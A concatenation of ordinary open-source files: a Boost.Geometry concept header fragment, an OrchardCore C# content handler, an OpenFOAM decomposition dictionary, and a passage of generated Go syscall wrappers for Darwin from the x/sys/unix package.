#ifndef DOXYGEN_NO_CONCEPT_MEMBERS
typedef typename boost::range_value<Geometry>::type polygon_type;
BOOST_CONCEPT_ASSERT( (concept::ConstPolygon<polygon_type>) );
BOOST_CONCEPT_ASSERT( (boost::RandomAccessRangeConcept<Geometry>) );
public :
BOOST_CONCEPT_USAGE(ConstMultiPolygon)
{
}
#endif
};
}}} // namespace boost::geometry::concept
#endif // BOOST_GEOMETRY_MULTI_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
| {
"pile_set_name": "Github"
} |
using System.Threading.Tasks;
using OrchardCore.ContentManagement;
using OrchardCore.ContentManagement.Handlers;
using OrchardCore.PublishLater.Models;
namespace OrchardCore.PublishLater.Handlers
{
public class PublishLaterPartHandler : ContentPartHandler<PublishLaterPart>
{
public override Task PublishedAsync(PublishContentContext context, PublishLaterPart part)
{
part.ScheduledPublishUtc = null;
part.Apply();
return Task.CompletedTask;
}
}
}
| {
"pile_set_name": "Github"
} |
/*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox |
| \\ / O peration | Version: 2.3.0 |
| \\ / A nd | Web: www.OpenFOAM.org |
| \\/ M anipulation | |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class dictionary;
note "mesh decomposition control dictionary";
location "system";
object decomposeParDict;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
numberOfSubdomains 4;
//- Keep owner and neighbour on same processor for faces in zones:
// preserveFaceZones (heater solid1 solid3);
method scotch;
// method hierarchical;
// method simple;
// method manual;
simpleCoeffs
{
n (2 2 1);
delta 0.001;
}
hierarchicalCoeffs
{
n (2 2 1);
delta 0.001;
order xyz;
}
scotchCoeffs
{
//processorWeights
//(
// 1
// 1
// 1
// 1
//);
//writeGraph true;
//strategy "b";
}
manualCoeffs
{
dataFile "decompositionData";
}
//// Is the case distributed
//distributed yes;
//// Per slave (so nProcs-1 entries) the directory above the case.
//roots
//(
// "/tmp"
// "/tmp"
//);
// ************************************************************************* //
| {
"pile_set_name": "Github"
} |
// go run mksyscall.go -tags darwin,amd64,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build darwin,amd64,!go1.12
package unix
import (
"syscall"
"unsafe"
)
var _ syscall.Errno
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setgroups(ngid int, gid *_Gid_t) (err error) {
_, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
wpid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socket(domain int, typ int, proto int) (fd int, err error) {
r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
_, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
_, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Shutdown(s int, how int) (err error) {
_, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
_, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
var _p0 unsafe.Pointer
if len(mib) > 0 {
_p0 = unsafe.Pointer(&mib[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func utimes(path string, timeval *[2]Timeval) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func futimes(fd int, timeval *[2]Timeval) (err error) {
_, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func fcntl(fd int, cmd int, arg int) (val int, err error) {
r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Madvise(b []byte, behav int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mlock(b []byte) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mlockall(flags int) (err error) {
_, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mprotect(b []byte, prot int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Msync(b []byte, flags int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Munlock(b []byte) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Munlockall() (err error) {
_, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
_, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
_, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func pipe() (r int, w int, err error) {
r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
r = int(r0)
w = int(r1)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(attr)
if err != nil {
return
}
r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
sz = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(attr)
if err != nil {
return
}
r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
sz = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(attr)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(attr)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func removexattr(path string, attr string, options int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(attr)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func fremovexattr(fd int, attr string, options int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(attr)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
sz = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
sz = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
_, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func kill(pid int, signum int, posix int) (err error) {
_, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func ioctl(fd int, req uint, arg uintptr) (err error) {
_, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
_, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Access(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
_, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chdir(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chflags(path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chmod(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chown(path string, uid int, gid int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chroot(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Close(fd int) (err error) {
_, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Dup(fd int) (nfd int, err error) {
r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
nfd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Dup2(from int, to int) (err error) {
_, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Exchangedata(path1 string, path2 string, options int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path1)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(path2)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Exit(code int) {
Syscall(SYS_EXIT, uintptr(code), 0, 0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchdir(fd int) (err error) {
_, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchflags(fd int, flags int) (err error) {
_, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchmod(fd int, mode uint32) (err error) {
_, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchown(fd int, uid int, gid int) (err error) {
_, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Flock(fd int, how int) (err error) {
_, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fpathconf(fd int, name int) (val int, err error) {
r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fsync(fd int) (err error) {
_, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Ftruncate(fd int, length int64) (err error) {
_, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getdtablesize() (size int) {
r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
size = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getegid() (egid int) {
r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
egid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Geteuid() (uid int) {
r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
uid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getgid() (gid int) {
r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
gid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpgid(pid int) (pgid int, err error) {
r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
pgid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpgrp() (pgrp int) {
r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
pgrp = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpid() (pid int) {
r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
pid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getppid() (ppid int) {
r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
ppid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpriority(which int, who int) (prio int, err error) {
r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
prio = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getrlimit(which int, lim *Rlimit) (err error) {
_, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getrusage(who int, rusage *Rusage) (err error) {
_, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
if e1 != 0 {
